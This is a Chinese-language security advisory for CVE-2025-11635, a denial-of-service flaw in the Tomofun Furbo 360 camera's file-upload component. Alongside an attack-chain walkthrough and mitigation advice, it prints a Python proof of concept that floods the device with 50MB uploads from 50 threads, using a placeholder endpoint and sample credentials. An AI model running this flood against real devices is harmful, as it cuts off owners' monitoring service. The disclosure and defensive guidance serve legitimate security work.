IPBUF安全漏洞报告
English
CVE-2025-11635 CVSS 4.3 中危

CVE-2025-11635 Tomofun Furbo 360文件上传资源消耗漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11635
漏洞类型
资源消耗/拒绝服务(DoS)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360

相关标签

资源消耗拒绝服务DoS文件上传TomofunFurbo 360IoT设备智能摄像头固件漏洞中危漏洞

漏洞概述

CVE-2025-11635是存在于Tomofun Furbo 360智能宠物摄像头设备中的一个安全漏洞。该漏洞影响固件版本至FB0035_FW_036的Furbo 360设备,具体位于其文件上传(File Upload)组件中。攻击者可以通过精心构造的请求对设备文件上传功能进行恶意操作,导致系统资源被过度消耗,从而引发拒绝服务(DoS)状态。该漏洞可被远程利用,攻击者无需用户交互,仅需低权限认证即可发起攻击。漏洞披露过程中,安全研究员曾提前联系Tomofun厂商,但厂商未作出任何回应,导致漏洞无法通过官方渠道修复。此漏洞的CVSS 3.1评分为4.3分,属于中危级别,虽然不涉及机密性泄露或数据篡改,但会对设备的可用性造成影响,可能导致宠物监控服务中断,影响用户体验。Furbo 360作为一款广受欢迎的智能宠物摄像头,其安全性问题可能波及大量家庭用户,潜在影响范围较大。

技术细节

该漏洞的核心问题在于Tomofun Furbo 360设备文件上传组件缺乏对资源消耗的有效限制与防护机制。具体而言,当攻击者向设备发送大量文件上传请求或上传异常大体积文件时,设备的存储空间、内存或网络带宽等系统资源会被快速耗尽。由于固件层面未实施请求频率限制、文件大小校验、上传并发数控制等安全策略,攻击者可以利用此缺陷持续消耗设备资源,最终导致设备无法正常响应合法用户请求,形成拒绝服务攻击。从CVSS向量分析,该漏洞具有网络攻击向量(AV:N),攻击复杂度低(AC:L),仅需低权限认证(PR:L),无需用户交互(UI:N)。其影响范围为整个系统(S:U),机密性不受影响(C:N),完整性不受影响(I:N),但可用性受到低程度影响(A:L)。攻击者可通过自动化脚本持续发送恶意上传请求,使设备资源长期处于高负载状态,甚至可能导致设备固件崩溃或自动重启。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描或公开信息识别目标网络中存在Tomofun Furbo 360设备,并确认其固件版本是否在受影响范围内(≤FB0035_FW_036)。
STEP 2
步骤2:获取低权限凭证
攻击者通过社会工程学、默认凭证爆破或凭证泄露等方式获取设备的低权限认证信息。
STEP 3
步骤3:认证设备
使用获取的低权限凭证登录设备,成功建立与Furbo 360文件上传组件的认证会话。
STEP 4
步骤4:构造恶意上传请求
攻击者构造大量大体积文件或高频上传请求,绕过设备缺乏的资源限制机制。
STEP 5
步骤5:资源耗尽攻击
通过多线程并发持续向设备发送文件上传请求,快速消耗设备的存储空间、内存和网络带宽等系统资源。
STEP 6
步骤6:拒绝服务
设备资源被耗尽后,无法正常响应合法用户的请求和监控功能,造成拒绝服务状态,影响宠物监控服务的可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11635 - Tomofun Furbo 360 File Upload Resource Consumption PoC # This PoC demonstrates resource exhaustion via the file upload component # Author: Security Researcher # Target: Tomofun Furbo 360 (firmware <= FB0035_FW_036) import requests import threading import time import os TARGET_URL = "http://<target_ip>/upload" # Replace with actual upload endpoint USERNAME = "low_priv_user" PASSWORD = "password123" THREAD_COUNT = 50 DURATION = 300 # seconds def authenticate(): """Authenticate to the Furbo 360 device with low-privilege credentials""" session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} try: resp = session.post(f"http://<target_ip>/login", data=login_data, timeout=10) if resp.status_code == 200: print("[+] Authentication successful") return session except Exception as e: print(f"[-] Auth error: {e}") return None def generate_large_payload(size_mb=100): """Generate a large dummy file to exhaust device resources""" payload_path = "/tmp/large_upload.bin" with open(payload_path, "wb") as f: f.write(os.urandom(size_mb * 1024 * 1024)) return payload_path def upload_flood(session, thread_id): """Continuously upload files to exhaust device resources""" payload = generate_large_payload(50) # 50MB payload end_time = time.time() + DURATION count = 0 while time.time() < end_time: try: with open(payload, "rb") as f: files = {"file": (f"upload_{thread_id}_{count}.bin", f, "application/octet-stream")} resp = session.post(TARGET_URL, files=files, timeout=30) count += 1 if count % 10 == 0: print(f"[Thread-{thread_id}] Uploaded {count} files") except Exception as e: print(f"[Thread-{thread_id}] Error: {e}") time.sleep(1) def main(): print("[*] CVE-2025-11635 PoC - Resource Consumption Attack") print("[*] Target: Tomofun Furbo 360") session = authenticate() if not session: print("[-] Failed to authenticate. Exiting.") return print(f"[+] Starting {THREAD_COUNT} upload threads...") threads = [] for i in range(THREAD_COUNT): t = threading.Thread(target=upload_flood, args=(session, i)) t.daemon = True t.start() threads.append(t) for t in threads: t.join() print("[*] Attack completed. Device resources should be exhausted.") if __name__ == "__main__": main()

影响范围

Tomofun Furbo 360 <= FB0035_FW_036

防御指南

临时缓解措施
由于Tomofun厂商在漏洞披露后未作出响应,目前没有官方补丁可用。建议采取以下临时缓解措施:1)在路由器或防火墙上限制对Furbo 360设备管理端口及文件上传服务的外部访问;2)将设备置于独立的IoT网络段中,与主网络隔离;3)监控设备流量,检测异常的上传行为并及时阻断;4)如果设备出现异常卡顿或服务中断,尝试重启设备以恢复服务;5)考虑使用其他厂商的安全摄像头替代,直到Tomofun发布安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表